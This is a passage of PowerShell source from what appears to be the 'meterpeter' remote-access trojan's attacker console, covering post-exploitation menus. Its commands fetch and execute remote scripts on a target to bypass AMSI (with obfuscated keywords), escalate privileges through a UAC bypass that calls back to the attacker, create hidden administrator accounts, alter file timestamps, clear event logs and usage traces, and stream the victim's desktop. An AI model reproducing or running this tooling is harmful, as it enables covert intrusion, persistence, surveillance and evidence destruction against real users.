$Command = "`$bool = (([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match `"S-1-5-32-544`");If(`$bool){iwr -uri `"https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/utils/EnableAllParentPrivileges.exe`" -OutFile `"`$Env:TMP\EnableAllParentPrivileges.exe`"|Unblock-File;cd `$Env:TMP;.\EnableAllParentPrivileges.exe;$CmdlineToExecute;Remove-Item -Path `"`$Env:TMP\EnableAllParentPrivileges.exe`" -Force}Else{echo `" `> Error: administrator privileges required on remote`" `> `$Env:TMP\fddds.log;Get-Content -Path `"`$Env:TMP\fddds.log`";Remove-Item -Path `"`$Env:TMP\fddds.log`" -Force}"
}
If($all_choise -ieq "Return" -or $all_choise -ieq "cls" -or $all_choise -ieq "Modules" -or $all_choise -ieq "clear")
{
$choise = $Null;
$Command = $Null;
$all_choise = $Null;
}
}
If($choise -ieq "AMSIpatch")
{
write-host "`n`n Description:" -ForegroundColor Yellow;
write-host " This cmdlet attempts to disable AMS1 string scanning within"
write-host " the current process context (terminal console) It also allow is"
write-host " users to execute any inputed script trough AMS1 bypa`ss technic.";
write-host "`n`n Modules Description Privileges Required" -ForegroundColor green;
write-host " ------- ----------- -------------------";
write-host " Console Disable AMS1 within current process UserLand";
write-host " FilePath Execute input script trough bypa`ss UserLand";
write-host " PayloadUrl Download\Execute script trough bypa`ss UserLand";
write-host " Return Return to Server Main Menu" -ForeGroundColor yellow;
write-host "`n`n :meterpeter:Post:AMS`IPatch> " -NoNewline -ForeGroundColor Green;
$Patch_choise = Read-Host;
If($Patch_choise -ieq "Console")
{
write-host " * Disable AMS1 within current process`n" -ForegroundColor Green
write-host "`n Technic Description" -ForegroundColor DarkYellow
write-host " ------- -----------"
write-host " 2 FORC`E_AM`SI_ERROR"
write-host " 3 AM`SI_UT`ILS_P`AT`CH`n"
write-host " - Bypa`ss technic to use (2|3) : " -ForeGroundColor Red -NoNewline;
$Technic = Read-Host;
$Command = "iwr -uri `"https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/bin/Invoke-Bypass.ps1`" -OutFile `"`$Env:TMP\Invoke-Bypass.ps1`"|Unblock-File;powershell -file `$Env:TMP\Invoke-Bypass.ps1 -technic `"$Technic`" -Egg true"
}
If($Patch_choise -ieq "FilePath")
{
write-host " - Bypa`ss technic to use (2|3) : " -ForeGroundColor Red -NoNewline;
$Technic = Read-Host;
write-host " - Execute script trough byp`ass : " -NoNewline;
$FilePath = Read-Host;
write-host " - Exec script with args? (y|n) : " -NoNewline;
$MArs = Read-Host;
If($MArs -iMatch '^(y|yes)$')
{
write-host " - Input script arguments : " -ForeGroundColor Red -NoNewline;
$FileArgs = Read-Host;
$Command = "iwr -uri `"https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/bypass/Invoke-Bypass.ps1`" -OutFile `"`$Env:TMP\Invoke-Bypass.ps1`"|Unblock-File;powershell -file `$Env:TMP\Invoke-Bypass.ps1 -technic `"$Technic`" -filepath `"$FilePath`" -fileargs `"$FileArgs`";Remove-Item -Path `"`$Env:TMP\Invoke-Bypass.ps1`" -Force";
}
Else
{
$Command = "iwr -uri `"https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/bypass/Invoke-Bypass.ps1`" -OutFile `"`$Env:TMP\Invoke-Bypass.ps1`"|Unblock-File;powershell -file `$Env:TMP\Invoke-Bypass.ps1 -technic `"$Technic`" -filepath `"$FilePath`";Remove-Item -Path `"`$Env:TMP\Invoke-Bypass.ps1`" -Force"
}
}
If($Patch_choise -ieq "PayloadUrl")
{
write-host " - Byp`ass technic to use (2|3) : " -ForeGroundColor Red -NoNewline;
$Technic = Read-Host;
write-host " - The Paylo`ad Url link : " -NoNewline;
$PayloadUrl = Read-Host;
write-host " - Exec script with args? (y|n) : " -NoNewline;
$MArs = Read-Host;
If($MArs -iMatch '^(y|yes)$')
{
write-host " - Input script arguments : " -ForeGroundColor Red -NoNewline;
$FileArgs = Read-Host;
$Command = "iwr -uri `"https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/bypass/Invoke-Bypass.ps1`" -OutFile `"`$Env:TMP\Invoke-Bypass.ps1`"|Unblock-File;powershell -file `$Env:TMP\Invoke-Bypass.ps1 -technic `"$Technic`" -Payloadurl `"$PayloadUrl`" -fileargs `"$FileArgs`";Remove-Item -Path `"`$Env:TMP\Invoke-Bypass.ps1`" -Force";
}
Else
{
$Command = "iwr -uri `"https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/bypass/Invoke-Bypass.ps1`" -OutFile `"`$Env:TMP\Invoke-Bypass.ps1`"|Unblock-File;powershell -file `$Env:TMP\Invoke-Bypass.ps1 -technic `"$Technic`" -payloadurl `"$PayloadUrl`";Remove-Item -Path `"`$Env:TMP\Invoke-Bypass.ps1`" -Force";
}
}
If($Patch_choise -ieq "Return" -or $Patch_choise -ieq "cls" -or $Patch_choise -ieq "Modules" -or $Patch_choise -ieq "clear")
{
$choise = $Null;
$Command = $Null;
$Patch_choise = $Null;
}
}
If($choise -ieq "FindEop" -or $choise -ieq "EOP")
{
write-host "`n`n Remark:" -ForegroundColor Yellow;
write-host " None of the modules in this sub-category will try to exp`loit any";
write-host " weak permissions found. They will only report the vulnerability.";
write-host " Agressive scans takes 3 to 8 minuts depending of scan sellected." -ForeGroundColor DarkYellow
write-host "`n`n Modules Description Privileges Required" -ForegroundColor green;
write-host " ------- ----------- -------------------";
write-host " Check Retrieve directory permissions UserLand";
write-host " Service Search for unquoted service paths UserLand";
write-host " RottenP Search For rotten potato vuln UserLand";
write-host " Agressive Search all EOP possible entrys UserLand";
write-host " Return Return to Server Main Menu" -ForeGroundColor yellow;
write-host "`n`n :meterpeter:Post:Eop> " -NoNewline -ForeGroundColor Green;
$my_choise = Read-Host;
If($my_choise -ieq "Agressive")
{
write-host " - Use agressive reports? (y|n): " -NoNewline;
$VerOut = Read-Host;
Write-Host " * Search for ALL EOP possible entrys." -ForegroundColor Green;Start-Sleep -Seconds 1;
If($VerOut -iMatch '^(y|yes)$')
{
Write-Host " => Remark: Module takes aprox 8 minuts to finish .." -ForegroundColor Yellow;write-host "`n";
$Command = "iwr -Uri https://raw.githubusercontent.com/r00t-3xp10it/meterpeter/master/mimiRatz/FindEop.ps1 -OutFile FindEOP.ps1;powershell -file FindEOP.ps1 -verb true;Remove-Item -Path FindEOP.ps1 -Force"
}
Else
{
Write-Host " => Remark: Module takes aprox 3 minuts to finish .." -ForegroundColor Yellow;write-host "`n";
$Command = "iwr -Uri https://raw.githubusercontent.com/r00t-3xp10it/meterpeter/master/mimiRatz/FindEop.ps1 -OutFile `$Env:TMP\FindEOP.ps1;powershell -File `$Env:TMP\FindEOP.ps1;Remove-Item -Path `"`$Env:TMP\FindEOP.ps1`" -Force"
}
}
If($my_choise -ieq "Check" -or $my_choise -ieq "check")
{
write-host " - Input Remote Folder Path (`$Env:TMP): " -NoNewline
$RfPath = Read-Host
write-host " * Enumerate folder permissions (icacls)." -ForegroundColor Green
If(-not($RfPath))
{
$RfPath = "$Env:TMP"
write-host " => Error: wrong input, default to: $RfPath" -ForegroundColor Red
Start-Sleep -Milliseconds 700
}
write-host ""
$Command = "icacls `"$RfPath`" `> dellog.txt;Get-Content dellog.txt;remove-item dellog.txt -Force";
}
If($my_choise -ieq "Service" -or $my_choise -ieq "service")
{
write-host " * Enumerate unquoted service paths.`n" -ForegroundColor Green;
$Command = "gwmi -class Win32_Service -Property Name,PathName,StartMode|Where-Object{`$_.StartMode -eq `"Auto`" -and `$_.PathName -notlike `"C:\Windows*`" -and `$_.PathName -NotMatch '`"'}|Select-Object Name,PathName `> WeakFP.txt;Get-Content WeakFP.txt;remove-item WeakFP.txt -Force";
}
If($my_choise -ieq "RottenP" -or $my_choise -ieq "rotten")
{
$myLine = "SeIm" + "person" + "atePriv" + "ilege" -join ''
$DebugPriv = "SeD" + "ebugPriv" + "ileges" -join ''
write-host " * Searching rotten potato vuln settings.`n" -ForegroundColor Green
$Command = "`$bool = (([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match `"S-1-5-32-544`");If(`$bool){echo `" `> Error: this module cant not run with admin Privileges`" `> dellog.txt;Get-Content dellog.txt;Remove-Item dellog.txt -Force}else{cmd /R whoami /priv|findstr /i /C:`"$myLine`" /C:`"SeAssignPrimaryPrivilege`" /C:`"SeTcbPrivilege`" /C:`"SeBackupPrivilege`" /C:`"SeRestorePrivilege`" /C:`"SeCreateTokenPrivilege`" /C:`"SeLoadDriverPrivilege`" /C:`"SeTakeOwnershipPrivilege`" /C:`"$DebugPriv`" `> dellog.txt;`$check_ACL = get-content dellog.txt|findstr /i /C:`"Enabled`";If(`$check_ACL){echo `" Rotten Potato Vulnerable Settings Found [Enabled] ..`" `> test.txt;Get-Content test.txt;Remove-Item test.txt -Force;Get-Content dellog.txt;remove-item dellog.txt -Force}else{echo `" `> Error: none weak permissions found [ Rotten Potato ] ..`" `> test.txt;Get-Content test.txt;Remove-Item test.txt -Force;Remove-Item dellog.txt -Force}}";
}
If($my_choise -ieq "Return" -or $my_choise -ieq "return" -or $my_choise -ieq "cls" -or $my_choise -ieq "Modules" -or $my_choise -ieq "modules" -or $my_choise -ieq "clear")
{
$RfPath = $Null;
$Command = $Null;
$my_choise = $Null;
$Group_Attr = $Null;
}
}
If($choise -ieq "HideUser")
{
write-host "`n`n Description:" -ForegroundColor Yellow
write-host " This module query, create or delete windows hidden accounts."
write-host " It also allow to set the account 'Visible' or 'Hidden' state."
write-host " Warning: Create account requires 'LanmanWorkstation' service running" -ForegroundColor Yellow
write-host " or else the account created will not inherit admin privileges token." -ForegroundColor Yellow
write-host " Manual check: :meterpeter> Get-Service LanmanWorkstation" -ForegroundColor Blue
write-host "`n`n Modules Description Privileges Required" -ForegroundColor green;
write-host " ------- ----------- ------------------";
write-host " Query Query all accounts UserLand";
write-host " Create Create hidden account " -NoNewline
write-host "Administrator" -ForegroundColor Red;
write-host " Delete Delete hidden account " -NoNewline
write-host "Administrator" -ForegroundColor Red;
write-host " Return Return to Server Main Menu" -ForeGroundColor yellow
write-host "`n`n :meterpeter:Post:HideUser> " -NoNewline -ForeGroundColor Green;
$AccManager_choise = Read-Host;
If($AccManager_choise -ieq "Query")
{
Write-Host " * Enumerating user accounts." -ForegroundColor Green
$Command = "iwr -Uri `"https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/bin/HiddenUser.ps1`" -OutFile `"`$Env:TMP\HiddenUser.ps1`"|Out-Null;powershell -WindowStyle hidden -File `$Env:TMP\HiddenUser.ps1 -Action Query;Remove-Item -Path `$Env:TMP\HiddenUser.ps1 -Force"
}
If($AccManager_choise -ieq "Create")
{
Write-Host " - Input account name:" -ForeGroundColor Red -NoNewline
$AccountName = Read-Host
Write-Host " - Input account pass:" -ForeGroundColor Red -NoNewline
$password = Read-Host
Write-Host " - Account State (hidden|visible):" -ForeGroundColor Red -NoNewline
$AccountState = Read-Host
Write-Host " * Create new user account" -ForegroundColor Green
If(-not($AccountState) -or $AccountState -ieq $null){$AccountState = "hidden"}Else{$AccountState = "visible"}
$Command = "`$bool = (([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match `"S-1-5-32-544`");If(`$bool){iwr -Uri `"https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/bin/HiddenUser.ps1`" -OutFile `"`$Env:TMP\HiddenUser.ps1`"|Out-Null;powershell -WindowStyle hidden -File `$Env:TMP\HiddenUser.ps1 -Action Create -UserName $AccountName -Password $password -State $AccountState;Remove-Item -Path `$Env:TMP\HiddenUser.ps1 -Force}Else{echo `"`";echo `" `> Error: Administrator privileges required!`"|Out-File `$Env:TMP\hidenUser.meterpeter;Get-Content -Path `$Env:TMP\hidenUser.meterpeter;Remove-Item -Path `$Env:TMP\hidenUser.meterpeter -Force}"
}
If($AccManager_choise -ieq "Delete")
{
Write-Host " - Input account name: " -NoNewline -ForegroundColor Red;
$AccountName = Read-Host;Write-Host " * Delete '$AccountName' user account" -ForegroundColor Green
$Command = "`$bool = (([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match `"S-1-5-32-544`");If(`$bool){iwr -Uri `"https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/bin/HiddenUser.ps1`" -OutFile `"`$Env:TMP\HiddenUser.ps1`"|Out-Null;powershell -WindowStyle hidden -File `$Env:TMP\HiddenUser.ps1 -Action Delete -UserName $AccountName;Remove-Item -Path `$Env:TMP\HiddenUser.ps1 -Force}Else{echo `" `> Error: Administrator privileges required!`"|Out-File `$Env:TMP\hidenUser.meterpeter;Get-Content -Path `$Env:TMP\hidenUser.meterpeter;Remove-Item -Path `$Env:TMP\hidenUser.meterpeter -Force}"
}
If($AccManager_choise -ieq "Return" -or $AccManager_choise -ieq "cls" -or $AccManager_choise -ieq "modules" -or $AccManager_choise -ieq "clear")
{
$choise = $Null;
$Command = $Null;
$AccManager_choise = $Null;
}
}
If($choise -ieq "TimeStamp" -or $choise -ieq "mace")
{
write-host "`n`n Description:" -ForegroundColor Yellow
write-host " This module modify sellected file mace propertys:"
write-host " CreationTime, LastAccessTime and LastWriteTime .." -ForegroundColor DarkYellow
write-host "`n`n Modules Description Privileges Required" -ForegroundColor green;
write-host " ------- ----------- ------------------";
write-host " check existing file timestamp UserLand";
write-host " Modify existing file timestamp UserLand";
write-host " Return Return to Server Main Menu" -ForeGroundColor yellow
write-host "`n`n :meterpeter:Post:Mace> " -NoNewline -ForeGroundColor Green;
$timestamp_choise = Read-Host;
If($timestamp_choise -ieq "check")
{
Write-Host " - File\Folder absolucte path: " -ForeGroundColor Red -NoNewline
$FileMace = Read-Host
If([string]::IsNullOrEmpty($FileMace))
{
$FileMace = "`$pwd"
write-host " => Error: wrong input, default to $FileMace" -ForegroundColor Red
Start-Sleep -Milliseconds 700
}
Write-Host " * Print $FileMace timestamp(s)" -ForegroundColor Green
$Command = "If(-not(Test-Path -Path `"$FileMace`" -EA SilentlyContinue)){echo `"`n NotFound: $FileMace`"}Else{Get-ChildItem -Path `"$FileMace`"|Select-Object @{Name='State';Expression={'Current timestamp'}},Attributes,Name,Directory,CreationTime,LastAccessTime,LastWriteTime}"
}
If($timestamp_choise -ieq "Modify")
{
Write-Host " - The file to modify absolucte path: " -ForeGroundColor Red -NoNewline
$FileMace = Read-Host
Write-Host " - The Date (08 March 1999 19:19:19): " -NoNewline
$DateMace = Read-Host
If(-not($DateMace) -or $DateMace -eq $null)
{
$DateMace = "08 March 1999 19:19:19"
write-host " => Error: wrong input, default to $DateMace" -ForeGroundColor red
}
Write-Host " * Modify sellected file timestamp" -ForegroundColor Green
$Command = "iwr -Uri `"https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/bin/FileMace.ps1`" -OutFile `"`$Env:TMP\FileMace.ps1`"|Out-NUll;powershell -WindowStyle hidden -file `$Env:TMP\FileMace.ps1 -FileMace `"$FileMace`" -Date `"$DateMace`";Start-Sleep -Seconds 4;Remove-Item -Path `"`$Env:TMP\FileMace.ps1`" -Force"
}
If($timestamp_choise -ieq "Return" -or $timestamp_choise -ieq "cls" -or $timestamp_choise -ieq "modules" -or $timestamp_choise -ieq "clear")
{
$choise = $Null;
$Command = $Null;
$timestamp_choise = $Null;
}
}
If($choise -ieq "Artifacts")
{
write-host "`n`n Description:" -ForegroundColor Yellow
write-host " This module deletes attacker activity (artifacts) on target system by"
write-host " deleting .tmp, .log, .ps1 from %tmp% and eventvwr logfiles from snapin"
write-host " Remark: Administrator privs required to clean eventvwr + Restore Points" -ForegroundColor Yellow
write-host "`n`n Modules Description Privileges Required" -ForegroundColor green;
write-host " ------- ----------- ------------------";
write-host " Query query eventvwr logs UserLand"
write-host " Clean clean system tracks UserLand\" -NoNewline
write-host "Administrator" -ForegroundColor Red;
write-host " Paranoid clean tracks paranoid UserLand\" -NoNewline
write-host "Administrator" -ForegroundColor Red;
write-host " Return Return to Server Main Menu" -ForeGroundColor yellow
write-host "`n`n :meterpeter:Post:Artifacts> " -NoNewline -ForeGroundColor Green;
$track_choise = Read-Host;
If($track_choise -ieq "Query")
{
Write-Host " * Query main eventvwr logs" -ForegroundColor Green
$Command = "Get-WinEvent -ListLog * -ErrorAction Ignore|Where-Object { `$_.LogName -iMatch '(AMS`I|UAC|`^Application`$|DeviceGuard/Operational`$|Regsvr32/Operational`$|Windows Defender|WMI-Activity/Operational`$|AppLocker/Exe and DLL`$|AppLocker/MSI and Script`$|`^windows powershell`$|`^Microsoft-Windows-PowerShell/Operational`$|Bits-Client/Operational`$|TCPIP)' -and `$_.LogName -iNotMatch '(/Admin)$'}|Format-Table -AutoSize `> Event.txt;Get-content Event.txt;Remove-Item Event.txt -Force";
}
If($track_choise -ieq "clean")
{
Write-Host " * Cleanning remote system tracks ..`n" -ForegroundColor Green;
$MeterClient = "$payload_name" + ".ps1" -Join ''
$Command = "echo `"[*] Cleaning Temporary folder artifacts ..`" `> `$Env:TMP\clean.meterpeter;Remove-Item -Path `"`$Env:TMP\*`" -Include *.exe,*.bat,*.vbs,*.tmp,*.log,*.ps1,*.dll,*.lnk,*.inf,*.png,*.zip -Exclude *$MeterClient* -EA SilentlyContinue -Force -Recurse;echo `"[*] Cleaning Recent directory artifacts ..`" `>`> `$Env:TMP\clean.meterpeter;Remove-Item -Path `"`$Env:APPDATA\Microsoft\Windows\Recent\*`" -Include *.exe,*.bat,*.vbs,*.log,*.ps1,*.dll,*.inf,*.lnk,*.png,*.txt,*.zip -Exclude desktop.ini -EA SilentlyContinue -Force -Recurse;echo `"[*] Cleaning Recent documents artifacts ..`" `>`> `$Env:TMP\clean.meterpeter;cmd /R REG DELETE `"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs`" /f|Out-Null;cmd /R REG ADD `"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs`" /ve /t REG_SZ /f|Out-Null;echo `"[*] Cleaning DNS Resolver cache artifacts ..`" `>`> `$Env:TMP\clean.meterpeter;cmd /R ipconfig /flushdns|Out-Null;If(Get-Command `"Clear-RecycleBin`" -EA SilentlyContinue){echo `"[*] Cleaning recycle bin folder artifacts ..`" `>`> `$Env:TMP\clean.meterpeter;Start-Process -WindowStyle Hidden powershell -ArgumentList `"Clear-RecycleBin -Force`" -Wait}Else{echo `"[*] Cleaning recycle bin folder artifacts ..`" `>`> `$Env:TMP\clean.meterpeter;echo `" `> Error: 'Clear-RecycleBin' not found ..`" `>`> `$Env:TMP\clean.meterpeter};echo `"[*] Cleaning ConsoleHost_history artifacts ..`" `>`> `$Env:TMP\clean.meterpeter;`$CleanPSLogging = (Get-PSReadlineOption -EA SilentlyContinue).HistorySavePath;echo `"MeterPeterNullArtifacts`" `> `$CleanPSLogging;`$bool = (([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match `"S-1-5-32-544`");If(`$bool){echo `"[*] Cleaning Cache of plugged USB devices ..`" `>`> `$Env:TMP\clean.meterpeter;cmd /R REG DELETE `"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`" /f|Out-Null;cmd /R REG ADD `"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`" /ve /t REG_SZ /f|Out-Null;echo `"[-] Cleaning Eventvwr logfiles from snapin ..`" `>`> `$Env:TMP\clean.meterpeter;`$PSlist = wevtutil el | Where-Object {`$_ -iMatch '(AM`SI/Debug|UAC|Powershell|BITS|Windows Defender|WMI-Activity/Operational|AppLocker/Exe and DLL|AppLocker/MSI and Script|TCPIP/Operational)' -and `$_ -iNotMatch '(/Admin)`$'};ForEach(`$PSCategorie in `$PSlist){wevtutil cl `"`$PSCategorie`"|Out-Null;echo `" deleted: `$PSCategorie`" `>`> `$Env:TMP\clean.meterpeter}}Else{echo `"[x] Cleaning Eventvwr logfiles from snapin ..`" `>`> `$Env:TMP\clean.meterpeter;echo `" => Error: Administrator privileges required!`" `>`> `$Env:TMP\clean.meterpeter};Get-Content -Path `$Env:TMP\clean.meterpeter;Remove-Item -Path `$Env:TMP\clean.meterpeter -Force"
}
If($track_choise -ieq "Paranoid")
{
Write-Host " - Display verbose outputs? (y|n): " -NoNewline
$StDoutStatus = Read-Host
If($StDoutStatus -iMatch '^(y|yes|true)$'){$stdout = "True"}Else{$stdout = "False"}
Write-Host " - Delete Restore Points? (y|n) : " -ForeGroundColor Red -NoNewline
$RPointsStatus = Read-Host;If($RPointsStatus -iMatch '^(y|yes|true)$'){$RStdout = "True"}Else{$RStdout = "False"}
Write-Host " * Cleanning system tracks." -ForegroundColor Green
$Command = "iwr -Uri `"https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/bin/CleanTracks.ps1`" -OutFile `"`$Env:TMP\CleanTracks.ps1`"|Out-Null;powershell -File `$Env:TMP\CleanTracks.ps1 -CleanTracks Paranoid -Verb $stdout -DelRestore $RStdout;Remove-Item -Path `$Env:TMP\CleanTracks.ps1 -EA SilentlyContinue -Force"
}
If($track_choise -ieq "Return" -or $track_choise -ieq "cls" -or $track_choise -ieq "modules" -or $track_choise -ieq "clear")
{
$choise = $Null;
$Command = $Null;
$track_choise = $Null;
}
}
If($choise -ieq "Stream")
{
write-host "`n`n Requirements:" -ForegroundColor Yellow
write-host " Mozilla firefox browser which supports MJPEG installed on attacker."
write-host " Streams target desktop live untill 'execution' setting its reached."
write-host " Remark: 30 seconds its the minimum accepted execution timer input." -ForegroundColor Yellow
write-host "`n`n Modules Description Privileges Required" -ForegroundColor green;
write-host " ------- ----------- ------------------";
write-host " Start Stream target desktop UserLand";
write-host " Return Return to Server Main Menu" -ForeGroundColor yellow
write-host "`n`n :meterpeter:Post:Stream> " -NoNewline -ForeGroundColor Green;
$Stream_choise = Read-Host;
If($Stream_choise -ieq "Start")
{
If(-not(Test-Path -Path "$Env:ProgramFiles\Mozilla Firefox\firefox.exe" -EA SilentlyContinue))
{
$Command = $Null;
Write-Host "`n abort: Stream target desktop function requires firefox.exe`n Installed on attacker machine to access the stream." -ForegroundColor Red -BackgroundColor Black
}
Else
{
$BindPort = "1234"
write-host " - Input execution time: " -NoNewline
[int]$ExecTimmer = Read-Host
If($ExecTimmer -lt 30 -or $ExecTimmer -eq $null)
{
$ExecTimmer = "30"
Write-Host " => Execution to small, defaulting to 30 seconds .." -ForegroundColor Red
Start-Sleep -Milliseconds 500
}
write-host " - Input target ip addr: " -ForeGroundColor Red -NoNewline
$RemoteHost = Read-Host
Write-Host " * Streaming -[ $RemoteHost ]- Desktop Live!" -ForegroundColor Green
If(-not($RemoteHost) -or $RemoteHost -eq $null)
{
$RemoteHost = "$Local_Host" #Run stream againts our selft since none ip as inputed!
}
#Build output DataTable!
$StreamTable = New-Object System.Data.DataTable
$StreamTable.Columns.Add("local_host")|Out-Null
$StreamTable.Columns.Add("remote_host")|Out-Null
$StreamTable.Columns.Add("bind_port")|Out-Null
$StreamTable.Columns.Add("connection")|Out-Null
$StreamTable.Columns.Add("execution ")|Out-Null
#Adding values to output DataTable!
$StreamTable.Rows.Add("$Local_Host","$RemoteHost","$BindPort","Bind","$ExecTimmer seconds")|Out-Null
#Diplay output DataTable!
Write-Host "`n";Start-Sleep -Milliseconds 500
$StreamTable | Format-Table -AutoSize | Out-String -Stream | Select-Object -Skip 1 |
Select-Object -SkipLast 1 | ForEach-Object {
$stringformat = If($_ -Match '^(local_host)'){
@{ 'ForegroundColor' = 'Green' } }Else{ @{} }
Write-Host @stringformat $_
}
<#
.SYNOPSIS
Author: @r00t-3xp10it
Helper - Stream Target Desktop (MJPEG)
.NOTES
The next cmdline downloads\imports 'Stream-TargetDesktop.ps1' into %TMP%,
Import module, creates trigger.ps1 script to execute 'TargetScreen -Bind'
sleeps for sellected amount of time (ExecTimmer), before stoping stream,
and deleting all artifacts left behind by this function.
#>
#Anwsome Banner
$AnwsomeBanner = @"
'-.
'-. _____
.-._ | '.
: .. | :
'-._' | .-'
/ \ .'i--i
/ \ .-'_/____\___
.-' : :Stream_Desktop_Live ..
---------------------------------------------------------------------
"@;Write-Host $AnwsomeBanner
Write-Host "* Start firefox on: '" -ForegroundColor Red -BackgroundColor Black -NoNewline;
Write-host "http://${RemoteHost}:${BindPort}" -ForegroundColor Green -BackgroundColor Black -NoNewline;
Write-host "' to access live stream!" -ForegroundColor Red -BackgroundColor Black;
$Command = "iwr -Uri https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/modules/Stream-TargetDesktop.ps1 -OutFile `$Env:TMP\Stream-TargetDesktop.ps1|Out-Null;echo `"Import-Module -Name `$Env:TMP\Stream-TargetDesktop.ps1 -Force`"|Out-File -FilePath `"`$Env:TMP\trigger.ps1`" -Encoding ascii -Force;Add-Content `$Env:TMP\trigger.ps1 `"TargetScreen -Bind -Port $BindPort`";Start-Process -WindowStyle hidden powershell -ArgumentList `"-File `$Env:TMP\trigger.ps1`"|Out-Null;Start-Sleep -Seconds $ExecTimmer;`$StreamPid = Get-Content -Path `"`$Env:TMP\mypid.log`" -EA SilentlyContinue|Where-Object { `$_ -ne '' };Stop-Process -id `$StreamPid -EA SilentlyContinue -Force;Remove-Item -Path `$Env:TMP\trigger.ps1 -Force;Remove-Item -Path `$Env:TMP\mypid.log -Force;Remove-Item -Path `$Env:TMP\Stream-TargetDesktop.ps1 -Force";
}
}
If($Stream_choise -ieq "Return" -or $Stream_choise -ieq "cls" -or $Stream_choise -ieq "modules" -or $Stream_choise -ieq "clear")
{
$choise = $Null;
$Command = $Null;
$Delay_Time = $Null;
$Stream_choise = $Null;
}
}
If($choise -ieq "Escalate")
{
write-host "`n`n Requirements:" -ForegroundColor Yellow
write-host " EOP modules requires that attacker input the delay time (in seconds)"
write-host " for client.ps1 to beacon home after the privilege escalation. Attacker"
write-host " also needs to exit meterpeter connection and start a new listenner with"
write-host " the same settings [LHOST+LPORT] to receive the elevated connection back."
write-host "`n`n Modules Description Privileges Required" -ForegroundColor green
write-host " ------- ----------- ------------------"
write-host " getadmin Escalate client privileges UserLand"
write-host " Delete Delete getadmin artifacts UserLand"
write-host " UACpriv use runa[s] to spawn UAC diag UserLand"
write-host " CmdLine Uac execute command elevated UserLand"
write-host " Return Return to Server Main Menu" -ForeGroundColor yellow
write-host "`n`n :meterpeter:Post:Escalate> " -NoNewline -ForeGroundColor Green
$Escal_choise = Read-Host;
If($Escal_choise -ieq "UACpriv")
{
$CurrentTime = (Get-Date -Format 'HH:mm')
write-host " - Input time to start eop (" -ForeGroundColor Red -NoNewline
write-host "$CurrentTime" -ForeGroundColor Yellow -NoNewline
write-host "): " -ForeGroundColor Red -NoNewline
$StartTime = Read-Host
If(-not($StartTime -match '^(\d+\d+:+\d+\d)$'))
{
write-host " => Error: wrong time format [$StarTime]" -ForegroundColor Red
$Command = $null
}
Else
{
write-host " * Using RU`NAS to elevate session!`n" -ForeGroundColor Green
$Command = "cd `$Env:TMP;`$bool = (([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match `"S-1-5-32-544`");If(`$bool){echo `" `> Error: Abort, session allready running under Administrator token ..`" `> `$Env:TMP\EOPsettings.log;Get-Content `$Env:TMP\EOPsettings.log;Remove-Item -Path `$Env:TMP\EOPsettings.log -Force}Else{Remove-Item -Path `$Env:TMP\Programdata.log -force;iwr -Uri https://raw.githubusercontent.com/r00t-3xp10it/meterpeter/master/mimiRatz/UACeop.ps1 -OutFile `$Env:TMP\UACeop.ps1|Unblock-File;echo `" `> Triger EOP function at: $StartTime hours.`" `> `$Env:TMP\EOPsettings.log;echo `" Exit meterpeter connection [now] and start a new listenner`" `>`> `$Env:TMP\EOPsettings.log;echo `" Using the same LHOST+LPORT to recive the connection back.`" `>`> `$Env:TMP\EOPsettings.log;Get-Content `$Env:TMP\EOPsettings.log;Remove-Item -Path `$Env:TMP\EOPsettings.log -Force;Start-Process -WindowStyle hidden powershell -ArgumentList `"-file UACeop.ps1 -starttime $StartTime -attacker ${Local_Host}:${Local_Port} -autodel`"}"
}
}
If($Escal_choise -ieq "GetAdmin")
{
write-host " - Input execution delay time : " -ForeGroundColor Red -NoNewline
$DelayTime = Read-Host
write-host " - Max EOP (client) executions : " -NoNewline
$ExecRatLoop = Read-Host
write-host " - Edit client location? (y|n) : " -NoNewline
$EditRatLocation = Read-Host
If($EditRatLocation -iMatch '^(y|yes|s)$')
{
write-host " - Input client remote location: " -ForeGroundColor Red -NoNewline
$RatLocation = Read-Host
If(-not($RatLocation) -or $RatLocation -eq $null)
{
$RatStdOut = "`$Env:TMP\Update-KB5005101.ps1"
$RatLocation = "False"
}
Else
{
$RatStdOut = "$RatLocation"
}
}
Else
{
$RatStdOut = "`$Env:TMP\Update-KB5005101.ps1"
$RatLocation = "False"
}
If(-not($DelayTime) -or $DelayTime -lt "30"){$DelayTime = "30"}
If(-not($ExecRatLoop) -or $ExecRatLoop -lt "1"){$ExecRatLoop = "1"}
Write-Host " * Elevate session from UserLand to Administrator!" -ForegroundColor Green
Write-Host " => Downloading: UACBy`passCMSTP from GitHub into %TMP% ..`n" -ForeGroundColor Blue
Start-Sleep -Seconds 1
#Build output DataTable!
$mytable = New-Object System.Data.DataTable
$mytable.Columns.Add("max_executions")|Out-Null
$mytable.Columns.Add("execution_delay")|Out-Null
$mytable.Columns.Add("rat_remote_location")|Out-Null
#Adding values to DataTable!
$mytable.Rows.Add("$ExecRatLoop", ## max eop executions
"$DelayTime seconds", ## Looop each seconds
"$RatStdOut" ## rat client absoluct path
)|Out-Null
#Diplay output DataTable!
$mytable | Format-Table -AutoSize | Out-String -Stream | Select-Object -SkipLast 1 | ForEach-Object {
$stringformat = If($_ -Match '^(max_executions)'){
@{ 'ForegroundColor' = 'Green' } }Else{ @{} }
Write-Host @stringformat $_
}
#Anwsome Banner
